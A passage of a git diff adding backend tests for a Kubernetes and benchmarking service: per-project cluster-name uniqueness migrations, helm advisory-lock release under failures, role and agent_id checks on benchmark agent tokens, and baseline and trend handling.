+ assert _name_indexes(engine) == first diff --git a/backend/tests/migrations/test_v2_153_cluster_name_per_project.py b/backend/tests/migrations/test_v2_153_cluster_name_per_project.py new file mode 100644 index 00000000..37806ff9 --- /dev/null +++ b/backend/tests/migrations/test_v2_153_cluster_name_per_project.py @@ -0,0 +1,186 @@ +"""v2_153: kubernetes_clusters.name uniqueness scoped to (project_id, name). + +The global unique on `name` let project A's "prod" block project B's "prod" +and leak A's cluster name to B via the 409 (#113). The app-level duplicate +check is scoped in the same change, but fixing only that would turn the 409 +into a raw IntegrityError at commit -- so the constraint must move too. + +Two harnesses: + - SQLite, always: exercises the batch_alter_table recreate path, which is + the one most likely to be wrong (SQLite cannot alter a column's + unique-ness in place). + - Postgres, when TEST_POSTGRES_URL is set (CI's migration round-trip job): + exercises the real drop_constraint / create_unique_constraint path + against the implicitly-named constraint. +""" + +from __future__ import annotations + +import importlib.util +import os +from pathlib import Path + +import pytest +import sqlalchemy as sa + +_REVISION = ( + Path(__file__).resolve().parents[2] + / "alembic" / "versions" / "v2_153_cluster_name_unique_per_project.py" +) + + +def _load_revision(): + spec = importlib.util.spec_from_file_location("v2_153", _REVISION) + mod = importlib.util.module_from_spec(spec) + spec.loader.exec_module(mod) + return mod + + +def _run(engine, direction: str) -> None: + from alembic.migration import MigrationContext + from alembic.operations import Operations + + rev = _load_revision() + with engine.connect() as conn: + ctx = MigrationContext.configure(conn) + with Operations.context(ctx): + getattr(rev, direction)() + conn.commit() + + +def _pre_migration_schema(engine) -> None: + """The table as the ORM created it BEFORE v2_153: name globally unique.""" + # CASCADE only where the dialect has it: kubernetes_clusters is an FK target, + # so a bare DROP fails on Postgres the moment anything references it. SQLite + # has no CASCADE keyword here and also no such dependency to clear. + cascade = " CASCADE" if engine.dialect.name == "postgresql" else "" + with engine.begin() as conn: + conn.execute(sa.text(f"DROP TABLE IF EXISTS kubernetes_clusters{cascade}")) + conn.execute(sa.text( + "CREATE TABLE kubernetes_clusters (" + " id INTEGER PRIMARY KEY," + " name VARCHAR(255) NOT NULL UNIQUE," + " project_id INTEGER," + " context VARCHAR(255)" + ")" + )) + + +def _two_projects_can_share_a_name(engine) -> bool: + with engine.begin() as conn: + conn.execute(sa.text("DELETE FROM kubernetes_clusters")) + conn.execute(sa.text("INSERT INTO kubernetes_clusters (id, name, project_id) VALUES (1, 'prod', 1)")) + try: + conn.execute(sa.text("INSERT INTO kubernetes_clusters (id, name, project_id) VALUES (2, 'prod', 2)")) + return True + except sa.exc.IntegrityError: + return False + + +def _same_project_duplicate_rejected(engine) -> bool: + with engine.begin() as conn: + conn.execute(sa.text("DELETE FROM kubernetes_clusters")) + conn.execute(sa.text("INSERT INTO kubernetes_clusters (id, name, project_id) VALUES (1, 'prod', 1)")) + try: + conn.execute(sa.text("INSERT INTO kubernetes_clusters (id, name, project_id) VALUES (2, 'prod', 1)")) + return False + except sa.exc.IntegrityError: + return True + + +# ── SQLite (always runs) ──────────────────────────────────────────────────── + +@pytest.fixture +def sqlite_engine(tmp_path): + eng = sa.create_engine(f"sqlite:///{tmp_path}/mig.db") + _pre_migration_schema(eng) + yield eng + eng.dispose() + + +@pytest.mark.unit +class TestSqlitePath: + def test_before_upgrade_names_are_globally_unique(self, sqlite_engine): + """Precondition: the pre-migration schema really has the bug.""" + assert _two_projects_can_share_a_name(sqlite_engine) is False + + def test_upgrade_scopes_uniqueness_to_project(self, sqlite_engine): + _run(sqlite_engine, "upgrade") + assert _two_projects_can_share_a_name(sqlite_engine) is True, ( + "two projects still cannot share a cluster name -- the global unique survived" + ) + assert _same_project_duplicate_rejected(sqlite_engine) is True, ( + "the composite (project_id, name) unique is not enforced" + ) + + def test_upgrade_keeps_a_lookup_index_on_name(self, sqlite_engine): + _run(sqlite_engine, "upgrade") + insp = sa.inspect(sqlite_engine) + names = {ix["name"] for ix in insp.get_indexes("kubernetes_clusters")} + assert "ix_kubernetes_clusters_name" in names + + def test_downgrade_restores_global_unique(self, sqlite_engine): + _run(sqlite_engine, "upgrade") + _run(sqlite_engine, "downgrade") + assert _two_projects_can_share_a_name(sqlite_engine) is False + + def test_upgrade_is_idempotent_on_a_fresh_orm_schema(self, tmp_path): + """A brand-new install creates the table from the ORM (composite already + declared, no global unique). The migration must not blow up finding + nothing to drop.""" + eng = sa.create_engine(f"sqlite:///{tmp_path}/fresh.db") + with eng.begin() as conn: + conn.execute(sa.text( + "CREATE TABLE kubernetes_clusters (" + " id INTEGER PRIMARY KEY, name VARCHAR(255) NOT NULL, project_id INTEGER," + " CONSTRAINT uq_kubernetes_clusters_project_name UNIQUE (project_id, name))" + )) + # Alembic's batch recreate re-declares the composite; if that raised on + # an existing same-named constraint, a fresh install would fail here. + _run(eng, "upgrade") + assert _two_projects_can_share_a_name(eng) is True + eng.dispose() + + +# ── Postgres (CI migration round-trip) ────────────────────────────────────── + +@pytest.mark.integration +class TestPostgresPath: + # No class-level skipif: pg_scratch_engine (tests/migrations/conftest.py) + # owns the skip-vs-fail decision. A skipif here would fire BEFORE the + # fixture and turn the hard fail under BNK_REQUIRE_MIGRATION_TESTS back + # into a silent skip -- the "gate passes while asserting nothing" hole + # that fixture exists to close. + @pytest.fixture + def pg_engine(self, pg_scratch_engine): + """A throwaway database, not the one CI hands us via TEST_POSTGRES_URL. + + That URL points at the full ORM schema built by init_db.py, where other + tables carry foreign keys to kubernetes_clusters -- so dropping it there + raises DependentObjectsStillExist, and succeeding would have corrupted + the schema the rest of the job depends on. See conftest.py. + """ + _pre_migration_schema(pg_scratch_engine) + return pg_scratch_engine + + def test_upgrade_drops_the_implicitly_named_global_unique(self, pg_engine): + """On Postgres the column-level UNIQUE becomes kubernetes_clusters_name_key; + the migration must find it by inspection, not by a hardcoded name.""" + _run(pg_engine, "upgrade") + assert _two_projects_can_share_a_name(pg_engine) is True + assert _same_project_duplicate_rejected(pg_engine) is True + with pg_engine.connect() as conn: + cons = conn.execute(sa.text( + "SELECT conname FROM pg_constraint WHERE conrelid = 'kubernetes_clusters'::regclass" + )).scalars().all() + assert "uq_kubernetes_clusters_project_name" in cons + assert "kubernetes_clusters_name_key" not in cons + + def test_downgrade_refuses_when_two_projects_share_a_name(self, pg_engine): + """Restoring the global unique over real cross-project duplicates would + silently reintroduce the leak; it must raise instead.""" + _run(pg_engine, "upgrade") + with pg_engine.begin() as conn: + conn.execute(sa.text("INSERT INTO kubernetes_clusters (id, name, project_id) VALUES (1,'prod',1),(2,'prod',2)")) + with pytest.raises(Exception): + _run(pg_engine, "downgrade") diff --git a/backend/tests/test_helm_task_locking.py b/backend/tests/test_helm_task_locking.py index 131218d9..8e2a8893 100644 --- a/backend/tests/test_helm_task_locking.py +++ b/backend/tests/test_helm_task_locking.py @@ -122,6 +122,91 @@ def test_unlock_called_even_on_exception(self): assert "pg_advisory_unlock" in str(release_call[0][0]) assert release_call[0][1] == {"key": expected_key} + def test_unlock_survives_aborted_transaction(self): + """#83: a failed statement in the body must not leak the advisory lock. + + The pre-existing exception test used a plain RuntimeError against a + MagicMock db, so db.execute never actually failed -- which is exactly why + the leak went unnoticed. Here the unlock itself raises the way Postgres + behaves on an aborted transaction (InFailedSqlTransaction), and the lock + must still be released after a rollback. + """ + mock_db = MagicMock() + expected_key = _helm_lock_key(5, "nginx") + + calls: list[str] = [] + + def _execute(stmt, params=None): + text = str(stmt) + calls.append(text) + # acquire ok; first unlock attempt fails like an aborted txn does + if "pg_advisory_unlock" in text and calls.count("unlock-failed") == 0: + if not mock_db._rolled_back: + raise RuntimeError( + "current transaction is aborted, commands ignored until " + "end of transaction block" + ) + return MagicMock() + + mock_db._rolled_back = False + + def _rollback(): + mock_db._rolled_back = True + + mock_db.execute.side_effect = _execute + mock_db.rollback.side_effect = _rollback + + with patch("tasks.helm_tasks.DATABASE_URL", "postgresql://localhost/test"): + with pytest.raises(RuntimeError, match="body-error"): + with helm_release_lock(mock_db, 5, "nginx"): + raise RuntimeError("body-error") + + mock_db.rollback.assert_called_once() + unlock_calls = [ + c for c in mock_db.execute.call_args_list + if "pg_advisory_unlock" in str(c[0][0]) + ] + assert len(unlock_calls) == 2, "unlock was not retried after the rollback" + assert unlock_calls[-1][0][1] == {"key": expected_key} + + def test_unrecoverable_unlock_is_logged_not_raised(self): + """An unrecoverable release must not mask the body's own exception. + + The acquire must succeed here -- otherwise the test passes for the wrong + reason, never reaching the release path at all. + """ + mock_db = MagicMock() + + def _execute(stmt, params=None): + if "pg_advisory_unlock" in str(stmt): + raise RuntimeError("connection is dead") + return MagicMock() + + mock_db.execute.side_effect = _execute + mock_db.rollback.side_effect = RuntimeError("connection is dead") + + with patch("tasks.helm_tasks.DATABASE_URL", "postgresql://localhost/test"): + # The body's error surfaces, not the release failure. + with pytest.raises(ValueError, match="body-error"): + with helm_release_lock(mock_db, 5, "nginx"): + raise ValueError("body-error") + + def test_unrecoverable_unlock_on_success_path_does_not_raise(self): + """A clean body must not start failing because the release could not run.""" + mock_db = MagicMock() + + def _execute(stmt, params=None): + if "pg_advisory_unlock" in str(stmt): + raise RuntimeError("connection is dead") + return MagicMock() + + mock_db.execute.side_effect = _execute + mock_db.rollback.side_effect = RuntimeError("connection is dead") + + with patch("tasks.helm_tasks.DATABASE_URL", "postgresql://localhost/test"): + with helm_release_lock(mock_db, 5, "nginx"): + pass + def test_different_releases_use_different_lock_keys(self): db_a = MagicMock() db_b = MagicMock() diff --git a/backend/tests/unit/test_benchmark_agent_auth.py b/backend/tests/unit/test_benchmark_agent_auth.py index c494fb72..c69e2d4a 100644 --- a/backend/tests/unit/test_benchmark_agent_auth.py +++ b/backend/tests/unit/test_benchmark_agent_auth.py @@ -129,6 +129,70 @@ def test_register_accepts_valid_token(self, client, admin_headers): ) assert resp.status_code not in (400, 401) + def _headers_for(self, **claims) -> dict: + from services.auth_service import create_access_token + return {"Authorization": f"Bearer {create_access_token(claims)}"} + + def test_register_rejects_viewer_token(self, client): + """#148: authentication is not write intent. A viewer token decodes fine + but grants no right to register agents or push results.""" + with patch("routes.benchmarks.settings") as mock_settings: + mock_settings.BENCHMARK_AGENT_AUTH_REQUIRED = True + with patch("core.auth_middleware.settings") as mw_settings: + mw_settings.REQUIRE_AUTH = False + resp = client.post( + "/api/benchmarks/agents", + json=_register_payload(), + headers=self._headers_for(sub="viewer-user", role="viewer"), + ) + assert resp.status_code == 400 + assert "AGENT_AUTH_FORBIDDEN" in resp.text + + def test_register_accepts_agent_role_token(self, client): + """The bootstrap token: role=agent, NO agent_id. Must be able to register.""" + with patch("routes.benchmarks.settings") as mock_settings: + mock_settings.BENCHMARK_AGENT_AUTH_REQUIRED = True + with patch("core.auth_middleware.settings") as mw_settings: + mw_settings.REQUIRE_AUTH = False + resp = client.post( + "/api/benchmarks/agents", + json=_register_payload(), + headers=self._headers_for(sub="forge-builtin-agent", role="agent"), + ) + assert resp.status_code in (200, 201), resp.text + + def test_register_accepts_operator_token(self, client): + """The documented human curl flow keeps working with an operator token.""" + with patch("routes.benchmarks.settings") as mock_settings: + mock_settings.BENCHMARK_AGENT_AUTH_REQUIRED = True + with patch("core.auth_middleware.settings") as mw_settings: + mw_settings.REQUIRE_AUTH = False + resp = client.post( + "/api/benchmarks/agents", + json=_register_payload(), + headers=self._headers_for(sub="op", role="operator"), + ) + assert resp.status_code in (200, 201), resp.text + + def test_register_rejects_token_with_no_role(self, client): + """A token with no role claim must fail closed, not fall through.""" + with patch("routes.benchmarks.settings") as mock_settings: + mock_settings.BENCHMARK_AGENT_AUTH_REQUIRED = True + with patch("core.auth_middleware.settings") as mw_settings: + mw_settings.REQUIRE_AUTH = False + resp = client.post( + "/api/benchmarks/agents", + json=_register_payload(), + headers=self._headers_for(sub="roleless"), + ) + assert resp.status_code == 400 + assert "AGENT_AUTH_FORBIDDEN" in resp.text + + def test_default_is_secure(self): + """#148: a default deployment must not accept unauthenticated writes.""" + from core.config import Settings + assert Settings().BENCHMARK_AGENT_AUTH_REQUIRED is True + def test_ingest_rejects_missing_bearer(self, client): """Flag on + no Authorization → 400 AGENT_AUTH_REQUIRED. @@ -198,14 +262,105 @@ def test_agent_id_mismatch_would_close(self): # WS handler logic: int(token_agent_id) != path_agent_id → reject assert int(token_agent_id) != path_agent_id - def test_no_agent_id_claim_is_accepted(self): - """Token without agent_id claim → no restriction (any agent allowed).""" - from services.auth_service import create_access_token, decode_token + def test_no_agent_id_claim_is_rejected(self): + """Token without agent_id claim → rejected when agent auth is required (#41 F5). + + This previously asserted the opposite: a claimless token skipped the + binding check, so any valid token -- a viewer's included -- could connect + as any agent_id. Authentication is not identity. + """ + from unittest.mock import MagicMock, patch + + from routes.benchmarks import _agent_ws_authorized + from services.auth_service import create_access_token token = create_access_token(data={"sub": "agent", "role": "admin"}) - payload = decode_token(token) - # None means skip the agent_id check in the WS handler - assert payload.get("agent_id") is None + ws = MagicMock() + ws.query_params = {"token": token} + + with patch("core.config.settings.BENCHMARK_AGENT_AUTH_REQUIRED", True): + assert _agent_ws_authorized(ws, 5) == 4401 + + def test_matching_agent_id_claim_authorizes_through_helper(self): + """The bound case still connects — the gate must not be a blanket deny.""" + from unittest.mock import MagicMock, patch + + from routes.benchmarks import _agent_ws_authorized + from services.auth_service import create_access_token + + token = create_access_token(data={"sub": "agent", "role": "admin", "agent_id": 7}) + ws = MagicMock() + ws.query_params = {"token": token} + + with patch("core.config.settings.BENCHMARK_AGENT_AUTH_REQUIRED", True): + assert _agent_ws_authorized(ws, 7) is None + + def test_mismatched_agent_id_claim_rejected_through_helper(self): + from unittest.mock import MagicMock, patch + + from routes.benchmarks import _agent_ws_authorized + from services.auth_service import create_access_token + + token = create_access_token(data={"sub": "agent", "role": "admin", "agent_id": 99}) + ws = MagicMock() + ws.query_params = {"token": token} + + with patch("core.config.settings.BENCHMARK_AGENT_AUTH_REQUIRED", True): + assert _agent_ws_authorized(ws, 5) == 4401 + + def test_non_numeric_agent_id_claim_rejected(self): + """A claim that cannot be compared must fail closed, not raise.""" + from unittest.mock import MagicMock, patch + + from routes.benchmarks import _agent_ws_authorized + from services.auth_service import create_access_token + + token = create_access_token( + data={"sub": "agent", "role": "admin", "agent_id": "not-a-number"} + ) + ws = MagicMock() + ws.query_params = {"token": token} + + with patch("core.config.settings.BENCHMARK_AGENT_AUTH_REQUIRED", True): + assert _agent_ws_authorized(ws, 5) == 4401 + + def test_flag_off_still_admits_a_claimless_token(self): + """Regression guard: the built-in agent must keep working. + + The stricter claim requirement is Layer 1 only. With + BENCHMARK_AGENT_AUTH_REQUIRED off, the built-in forge-agent -- which + ships with an empty AGENT_TOKEN and registers before it has an agent_id + -- must still connect, or this fix breaks every default install. + """ + from unittest.mock import MagicMock, patch + + from routes.benchmarks import _agent_ws_authorized + from services.auth_service import create_access_token + + token = create_access_token(data={"sub": "agent", "role": "admin"}) + ws = MagicMock() + ws.query_params = {"token": token} + + with ( + patch("core.config.settings.BENCHMARK_AGENT_AUTH_REQUIRED", False), + patch("core.config.settings.REQUIRE_AUTH", False), + ): + assert _agent_ws_authorized(ws, 5) is None + + def test_flag_off_still_admits_no_token_at_all(self): + """The built-in agent's default: AGENT_TOKEN empty.""" + from unittest.mock import MagicMock, patch + + from routes.benchmarks import _agent_ws_authorized + + ws = MagicMock() + ws.query_params = {} + + with ( + patch("core.config.settings.BENCHMARK_AGENT_AUTH_REQUIRED", False), + patch("core.config.settings.REQUIRE_AUTH", False), + ): + assert _agent_ws_authorized(ws, 5) is None def test_matching_agent_id_passes(self): """Token with agent_id=7 and path agent_id=7 → accepted.""" diff --git a/backend/tests/unit/test_benchmark_baseline_trends.py b/backend/tests/unit/test_benchmark_baseline_trends.py new file mode 100644 index 00000000..cb0f0432 --- /dev/null +++ b/backend/tests/unit/test_benchmark_baseline_trends.py @@ -0,0 +1,482 @@ +"""Service-level tests for benchmark baseline flagging + trends (D-020 UX/trends work). + +Covers: + - set_baseline: set / replace / non-completed rejection + - unset_baseline + - get_trends: filtering + ordering + baseline inclusion outside the limit window +""" + +from datetime import UTC, datetime, timedelta + +import pytest + +from core.errors import BadRequestError, NotFoundError +from models.benchmark import BenchmarkConfig, BenchmarkRun +from models.enums import BenchmarkRunStatus +from services.benchmark_service import BenchmarkService +from tests.factories import BenchmarkTargetFactory + +# --------------------------------------------------------------------------- +# Helpers +# --------------------------------------------------------------------------- + + +def _run(db, *, target=None, status=BenchmarkRunStatus.COMPLETED, created_at=None, **overrides): + run = BenchmarkRun( + tool="aiperf", + proxy=overrides.pop("proxy", "envoy"), + model="tinyllama", + base_url="http://envoy:10080", + target_id=target.id if target else None, + status=status, + latency_p50=overrides.pop("latency_p50", 0.1), + latency_p99=overrides.pop("latency_p99", 0.2), + overall_rps=overrides.pop("overall_rps", 100.0), + **overrides, + ) + db.add(run) + db.commit() + db.refresh(run) + if created_at is not None: + run.created_at = created_at + db.commit() + db.refresh(run) + return run + + +# --------------------------------------------------------------------------- +# set_baseline +# --------------------------------------------------------------------------- + + +class TestSetBaseline: + def test_setBaseline_completedRun_marksBaseline(self, db): + target = BenchmarkTargetFactory(db) + run = _run(db, target=target) + + svc = BenchmarkService(db) + result = svc.set_baseline(run.id) + db.commit() + + assert result.is_baseline is True + db.refresh(run) + assert run.is_baseline is True + + def test_setBaseline_nonCompletedRun_raises400(self, db): + target = BenchmarkTargetFactory(db) + run = _run(db, target=target, status=BenchmarkRunStatus.RUNNING) + + svc = BenchmarkService(db) + with pytest.raises(BadRequestError): + svc.set_baseline(run.id) + + def test_setBaseline_missingRun_raisesNotFound(self, db): + svc = BenchmarkService(db) + with pytest.raises(NotFoundError): + svc.set_baseline(999999) + + def test_setBaseline_sameContext_replacesPreviousBaseline(self, db): + target = BenchmarkTargetFactory(db) + first = _run(db, target=target, config_id=None, scenario_key=None) + second = _run(db, target=target, config_id=None, scenario_key=None) + + svc = BenchmarkService(db) + svc.set_baseline(first.id) + db.commit() + svc.set_baseline(second.id) + db.commit() + + db.refresh(first) + db.refresh(second) + assert first.is_baseline is False + assert second.is_baseline is True + + def test_setBaseline_sequentialReplaces_invariantHoldsAtMostOnePerContext(self, db): + """Guards the one-baseline-per-context invariant the locking in + set_baseline exists to protect — asserted via a raw DB count, not just + the two runs under test, so a regression that leaves a stray flagged + row anywhere in the context would be caught.""" + target = BenchmarkTargetFactory(db) + runs = [_run(db, target=target, config_id=None, scenario_key=None) for _ in range(4)] + + svc = BenchmarkService(db) + for r in runs: + svc.set_baseline(r.id) + db.commit() + + baseline_count = ( + db.query(BenchmarkRun) + .filter( + BenchmarkRun.target_id == target.id, + BenchmarkRun.scenario_key.is_(None), + BenchmarkRun.config_id.is_(None), + BenchmarkRun.is_baseline.is_(True), + ) + .count() + ) + assert baseline_count == 1 + + db.refresh(runs[-1]) + assert runs[-1].is_baseline is True + + def test_setBaseline_differentContext_doesNotReplace(self, db): + target = BenchmarkTargetFactory(db) + other_target = BenchmarkTargetFactory(db) + first = _run(db, target=target) + second = _run(db, target=other_target) + + svc = BenchmarkService(db) + svc.set_baseline(first.id) + db.commit() + svc.set_baseline(second.id) + db.commit() + + db.refresh(first) + db.refresh(second) + assert first.is_baseline is True + assert second.is_baseline is True + + def test_setBaseline_missingTargetId_raises400(self, db): + run = _run(db, target=None) + + svc = BenchmarkService(db) + with pytest.raises(BadRequestError) as exc_info: + svc.set_baseline(run.id) + assert exc_info.value.code == "MISSING_TARGET_ID" + + def test_setBaseline_differentProxy_doesNotReplace(self, db): + target = BenchmarkTargetFactory(db) + first = _run(db, target=target, proxy="envoy") + second = _run(db, target=target, proxy="haproxy") + + svc = BenchmarkService(db) + svc.set_baseline(first.id) + db.commit() + svc.set_baseline(second.id) + db.commit() + + db.refresh(first) + db.refresh(second) + assert first.is_baseline is True + assert second.is_baseline is True + + def test_setBaseline_differentVariantLabel_doesNotReplace(self, db): + target = BenchmarkTargetFactory(db) + first = _run(db, target=target, variant_label="concurrency-10") + second = _run(db, target=target, variant_label="concurrency-50") + + svc = BenchmarkService(db) + svc.set_baseline(first.id) + db.commit() + svc.set_baseline(second.id) + db.commit() + + db.refresh(first) + db.refresh(second) + assert first.is_baseline is True + assert second.is_baseline is True + + +# --------------------------------------------------------------------------- +# _attach_baseline_context +# --------------------------------------------------------------------------- + + +class TestAttachBaselineContext: + def test_attachBaselineContext_populatesBaselineMetricsOnListRuns(self, db): + target = BenchmarkTargetFactory(db) + baseline = _run( + db, + target=target, + proxy="envoy", + variant_label="c10", + latency_p99=0.15, + overall_rps=150.0, + ) + svc = BenchmarkService(db) + svc.set_baseline(baseline.id) + db.commit() + + newer = _run( + db, + target=target, + proxy="envoy", + variant_label="c10", + latency_p99=0.25, + overall_rps=120.0, + ) + + runs, _ = svc.list_runs(proxy="envoy") + newer_run = next(r for r in runs if r.id == newer.id) + assert newer_run.baseline_latency_p99 == 0.15 + assert newer_run.baseline_overall_rps == 150.0 + + def test_attachBaselineContext_differentProxy_doesNotPopulate(self, db): + target = BenchmarkTargetFactory(db) + baseline = _run( + db, + target=target, + proxy="envoy", + latency_p99=0.15, + overall_rps=150.0, + ) + svc = BenchmarkService(db) + svc.set_baseline(baseline.id) + db.commit() + + haproxy_run = _run(db, target=target, proxy="haproxy") + + runs, _ = svc.list_runs() + haproxy_res = next(r for r in runs if r.id == haproxy_run.id) + assert haproxy_res.baseline_latency_p99 is None + assert haproxy_res.baseline_overall_rps is None + + def test_attachBaselineContext_differentVariantLabel_doesNotPopulate(self, db): + target = BenchmarkTargetFactory(db) + baseline = _run( + db, + target=target, + variant_label="c10", + latency_p99=0.15, + overall_rps=150.0, + ) + svc = BenchmarkService(db) + svc.set_baseline(baseline.id) + db.commit() + + other_variant_run = _run(db, target=target, variant_label="c50") + + runs, _ = svc.list_runs() + res = next(r for r in runs if r.id == other_variant_run.id) + assert res.baseline_latency_p99 is None + assert res.baseline_overall_rps is None + + def test_attachBaselineContext_baselineRunItselfHasNoReference(self, db): + target = BenchmarkTargetFactory(db) + baseline = _run(db, target=target, latency_p99=0.15, overall_rps=150.0) + svc = BenchmarkService(db) + svc.set_baseline(baseline.id) + db.commit() + + runs, _ = svc.list_runs() + baseline_res = next(r for r in runs if r.id == baseline.id) + assert baseline_res.is_baseline is True + assert baseline_res.baseline_latency_p99 is None + assert baseline_res.baseline_overall_rps is None + + +# --------------------------------------------------------------------------- +# unset_baseline +# --------------------------------------------------------------------------- + + +class TestUnsetBaseline: + def test_unsetBaseline_clearsFlag(self, db): + target = BenchmarkTargetFactory(db) + run = _run(db, target=target) + + svc = BenchmarkService(db) + svc.set_baseline(run.id) + db.commit() + + result = svc.unset_baseline(run.id) + db.commit() + + assert result.is_baseline is False + db.refresh(run) + assert run.is_baseline is False + + def test_unsetBaseline_notCurrentlyBaseline_isNoop(self, db): + target = BenchmarkTargetFactory(db) + run = _run(db, target=target) + + svc = BenchmarkService(db) + result = svc.unset_baseline(run.id) + db.commit() + + assert result.is_baseline is False + + +# --------------------------------------------------------------------------- +# get_trends +# --------------------------------------------------------------------------- + + +class TestGetTrends: + def test_getTrends_filtersByTargetAndOrdersOldestFirst(self, db): + target = BenchmarkTargetFactory(db) + other_target = BenchmarkTargetFactory(db) + now = datetime.now(UTC) + + older = _run(db, target=target, created_at=now - timedelta(hours=2)) + newer = _run(db, target=target, created_at=now - timedelta(hours=1)) + _run(db, target=other_target, created_at=now) # different target — excluded + + svc = BenchmarkService(db) + result = svc.get_trends(target_id=target.id) + + point_ids = [p.id for p in result["points"]] + assert point_ids == [older.id, newer.id] + assert result["baseline_run_id"] is None + + def test_getTrends_excludesNonCompletedRuns(self, db): + target = BenchmarkTargetFactory(db) + _run(db, target=target, status=BenchmarkRunStatus.RUNNING) + completed = _run(db, target=target, status=BenchmarkRunStatus.COMPLETED) + + svc = BenchmarkService(db) + result = svc.get_trends(target_id=target.id) + + assert [p.id for p in result["points"]] == [completed.id] + + def test_getTrends_includesBaselineOutsideLimitWindow(self, db): + target = BenchmarkTargetFactory(db) + now = datetime.now(UTC) + + baseline = _run(db, target=target, created_at=now - timedelta(days=10)) + svc = BenchmarkService(db) + svc.set_baseline(baseline.id) + db.commit() + + for i in range(3): + _run(db, target=target, created_at=now - timedelta(hours=i)) + + result = svc.get_trends(target_id=target.id, limit=2) + + point_ids = {p.id for p in result["points"]} + assert baseline.id in point_ids + assert result["baseline_run_id"] == baseline.id + baseline_point = next(p for p in result["points"] if p.id == baseline.id) + assert baseline_point.is_baseline is True + + def test_getTrends_scenarioKeyFilter(self, db): + target = BenchmarkTargetFactory(db) + matching = _run(db, target=target, scenario_key="prefix-cache") + _run(db, target=target, scenario_key="burst") + + svc = BenchmarkService(db) + result = svc.get_trends(target_id=target.id, scenario_key="prefix-cache") + + assert [p.id for p in result["points"]] == [matching.id] + + def test_getTrends_mixedContextSeriesHasNoBaseline(self, db): + """Baseline only makes sense for single-context series. When an unfiltered query + returns runs from multiple (proxy, config, scenario) contexts, do not return a baseline.""" + target = BenchmarkTargetFactory(db) + now = datetime.now(UTC) + + # Create a baseline in one proxy context + baseline_envoy = _run(db, target=target, proxy="envoy", scenario_key="baseline", + created_at=now - timedelta(days=10)) + svc = BenchmarkService(db) + svc.set_baseline(baseline_envoy.id) + db.commit() + + # Create runs in different proxy contexts (series is mixed) + run_envoy = _run(db, target=target, proxy="envoy", scenario_key="baseline", + created_at=now - timedelta(hours=2)) + run_nginx = _run(db, target=target, proxy="nginx", scenario_key="baseline", + created_at=now - timedelta(hours=1)) + + # Query trends without proxy filter (returns mixed contexts) + result = svc.get_trends(target_id=target.id) + + # Points include both proxies (mixed context) + point_ids = {p.id for p in result["points"]} + assert run_envoy.id in point_ids + assert run_nginx.id in point_ids + # baseline_run_id should be None because series is mixed-context + assert result["baseline_run_id"] is None + + def test_getTrends_singleContextWithBaselineOutsideLimit(self, db): + """Baseline outside the limit window is still included for single-context series.""" + target = BenchmarkTargetFactory(db) + now = datetime.now(UTC) + + # Create a baseline far in the past + baseline = _run(db, target=target, proxy="envoy", scenario_key="baseline", + created_at=now - timedelta(days=100)) + svc = BenchmarkService(db) + svc.set_baseline(baseline.id) + db.commit() + + # Create recent runs in the same context + run1 = _run(db, target=target, proxy="envoy", scenario_key="baseline", + created_at=now - timedelta(hours=2)) + run2 = _run(db, target=target, proxy="envoy", scenario_key="baseline", + created_at=now - timedelta(hours=1)) + + # Query with limit=1 (should only fetch 1 run, but baseline should still be included) + result = svc.get_trends(target_id=target.id, proxy="envoy", scenario_key="baseline", limit=1) + + # Points should include both the recent run AND the old baseline + point_ids = {p.id for p in result["points"]} + assert baseline.id in point_ids + assert run2.id in point_ids # Most recent + # baseline_run_id should be set + assert result["baseline_run_id"] == baseline.id + + +# --------------------------------------------------------------------------- +# compare_runs — context mismatch warning +# --------------------------------------------------------------------------- + + +class TestCompareContextMismatch: + def test_compareRuns_sameConfigAndScenario_noMismatch(self, db): + target = BenchmarkTargetFactory(db) + a = _run(db, target=target, scenario_key="prefix-cache") + b = _run(db, target=target, scenario_key="prefix-cache") + + svc = BenchmarkService(db) + result = svc.compare_runs([a.id, b.id]) + + assert result["context_mismatch"] is False + + def test_compareRuns_differentScenarioKey_flagsMismatch(self, db): + target = BenchmarkTargetFactory(db) + a = _run(db, target=target, scenario_key="prefix-cache") + b = _run(db, target=target, scenario_key="burst") + + svc = BenchmarkService(db) + result = svc.compare_runs([a.id, b.id]) + + assert result["context_mismatch"] is True + + def test_compareRuns_differentConfigId_flagsMismatch(self, db): + target = BenchmarkTargetFactory(db) + config = BenchmarkConfig(name="alt-config", config_json={"concurrency": 200}) + db.add(config) + db.commit() + db.refresh(config) + + a = _run(db, target=target, config_id=None) + b = _run(db, target=target, config_id=config.id) + + svc = BenchmarkService(db) + result = svc.compare_runs([a.id, b.id]) + + assert result["context_mismatch"] is True + + def test_compareRuns_differentProxy_noMismatch(self, db): + """Proxies are deliberately-varied comparison dimensions on the Compare tab.""" + target = BenchmarkTargetFactory(db) + a = _run(db, target=target, proxy="envoy") + b = _run(db, target=target, proxy="haproxy") + + svc = BenchmarkService(db) + result = svc.compare_runs([a.id, b.id]) + + assert result["context_mismatch"] is False + + def test_compareRuns_differentVariantLabel_noMismatch(self, db): + """Variants are deliberately-varied comparison dimensions on the Compare tab.""" + target = BenchmarkTargetFactory(db) + a = _run(db, target=target, variant_label="c10") + b = _run(db, target=target, variant_label="c50") + + svc = BenchmarkService(db) + result = svc.compare_runs([a.id, b.id]) + + assert result["context_mismatch"] is False + diff --git a/backend/tests/unit/test_bf_conf_renderer.py b/backend/tests/unit/test_bf_conf_renderer.py index 52f09281..6532b02f 100644 --- a/backend/tests/unit/test_bf_conf_renderer.py +++ b/backend/tests/unit/test_bf_conf_renderer.py @@ -168,6 +168,28 @@ def test_authorized_keys_derived_from_private_key(self): assert ctx.host.authorized_keys.startswith("ssh-ed25519 ") assert "bnk-forge:dpu-os-key" in ctx.host.authorized_keys + def test_persisted_ipam_ip_flows_into_bf_conf_render(self): + # End-to-end: DPU with cluster-allocated dpu_tmfifo_ip="192.168.100.6" + # must produce tmfifo_dpu_ip="192.168.100.6/30" in the render context, + # which is then rendered into the bf.conf template. + dpu, settings = self._make_dpu_and_settings() + dpu.rshim_device = "rshim0" # formula would give .2 + dpu.dpu_tmfifo_ip = "192.168.100.6" + dpu.kubernetes_cluster_id = 1 # member → persisted IP wins + + ctx = build_render_context( + dpu=dpu, settings=settings, ssh_credential=None, + ubuntu_password_plaintext="pw", decrypt=lambda x: x, + ) + assert ctx.host.tmfifo_dpu_ip == "192.168.100.6/30" + + # Verify end-to-end through the template renderer. + out = render_bf_conf( + _tpl("dpu_ip={{ hostvars[bfb_hostname].tmfifo_dpu_ip }}"), + ctx, + ) + assert out == "dpu_ip=192.168.100.6/30" + class TestStream: def 